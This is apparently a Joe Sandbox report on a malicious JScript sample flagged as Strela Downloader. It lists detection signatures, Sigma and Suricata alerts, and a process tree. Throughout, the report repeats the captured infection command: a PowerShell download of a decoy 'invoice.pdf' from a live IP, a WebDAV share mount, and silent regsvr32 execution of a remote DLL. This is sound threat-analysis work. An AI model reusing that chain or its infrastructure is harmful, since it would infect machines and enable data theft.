Edit tour

Windows Analysis Report
14137177262856222939.js

Overview

General Information

Sample name:	14137177262856222939.js
Analysis ID:	1589916
MD5:	be29638077f2b1f9d7c63109f71e1f29
SHA1:	89cf962791c83c46fc4553f188bcd35f0fce904a
SHA256:	114f5200502476785fa5b0c768257cf5118d411fc4f54172d58b18c6d5f8e8fb
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7272 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7332 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7420 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7860 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1752,i,8867893340244330003,12266913905662921098,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7632 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7732 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7272	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7420, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7420, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ProcessId: 7272, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7732, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 7332, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 7332, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 7332, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 7332, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 7332, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ProcessId: 7272, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7420, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7732, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7924, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7732, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14137177262856222939.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll, ProcessId: 7332, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T10:28:16.653723+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49716	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T10:28:19.363039+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49717	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T10:28:16.653723+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49716	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49717 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49716 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:28:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: global traffic

TCP traffic: 192.168.2.5:49717 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49716 -> 193.143.1.205:80

Source: global traffic

